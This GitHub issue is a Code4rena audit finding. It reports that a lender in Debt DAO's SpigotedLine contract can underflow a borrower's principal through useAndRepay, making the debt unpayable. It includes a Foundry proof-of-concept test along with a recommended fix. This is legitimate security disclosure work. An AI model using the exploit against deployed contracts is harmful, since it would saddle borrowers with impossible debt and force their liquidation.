Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lender can cause unlimited debt due to underflow #93

Closed
code423n4 opened this issue Nov 7, 2022 · 3 comments
Closed

Lender can cause unlimited debt due to underflow #93

code423n4 opened this issue Nov 7, 2022 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-461 satisfactory Finding meets requirement

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137
https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L186

Vulnerability details

Impact

The lender and borrower can both call the function SpigotedLine.useAndRepay (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L137) and specify an amount that is used to repay the debt.
The lender can call this function with an amount > credit.interestAccrued + credit.principal. This will cause an Underflow in the CreditLib.repay function (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/CreditLib.sol#L186).

Practically, this means that if a SpigotedLine is used, the lender can cause the debt for the borrower to be so big that it could never be repaid (principal is a uint256).

So the borrower will get liquidated and lose access to the revenue contracts and all the assets will be used to pay the lenders.

Proof of Concept

I used the following test and added it to SpigotedLine.t.sol.
It will cause an underflow in the credit.principal.

function test_audit_lender_can_use_and_repay_underflow() public {
    deal(address(lender), lentAmount + 1 ether);
    deal(address(revenueToken), MAX_REVENUE);
    address revenueC = address(0xbeef); // need new spigot for testing
    bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);
    _borrow(id, lentAmount - 1);

    bytes memory tradeData = abi.encodeWithSignature(
    'trade(address,address,uint256,uint256)',
    address(revenueToken),
    Denominations.ETH,
    1 gwei,
    lentAmount
    );

    hoax(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);
    (, uint256 principal,,,,,) = line.credits(line.ids(0));
    console.log(principal);

    vm.prank(lender); // prank lender
    // This amount is 1 bigger than the principal
    line.useAndRepay(lentAmount);

    (, principal,,,,,) = line.credits(line.ids(0));
    console.log(principal);
}

After the exploitation, credit.principal will be 115792089237316195423570985008687907853269984665640564039457584007913129639935.

Tools Used

VSCode

Recommended Mitigation Steps

Limit the debt that is repaid to credit.interestAccrued + credit.principal as you do in the SpigotedLine.claimAndRepay function (https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L115-L118).

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 7, 2022
code423n4 added a commit that referenced this issue Nov 7, 2022
@c4-judge
Copy link
Contributor

dmvt marked the issue as duplicate of #82

@c4-judge
Copy link
Contributor

c4-judge commented Dec 6, 2022

dmvt marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory Finding meets requirement label Dec 6, 2022
@C4-Staff
Copy link
Contributor

liveactionllama marked the issue as duplicate of #461

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-461 satisfactory Finding meets requirement
Projects
None yet
Development

No branches or pull requests

3 participants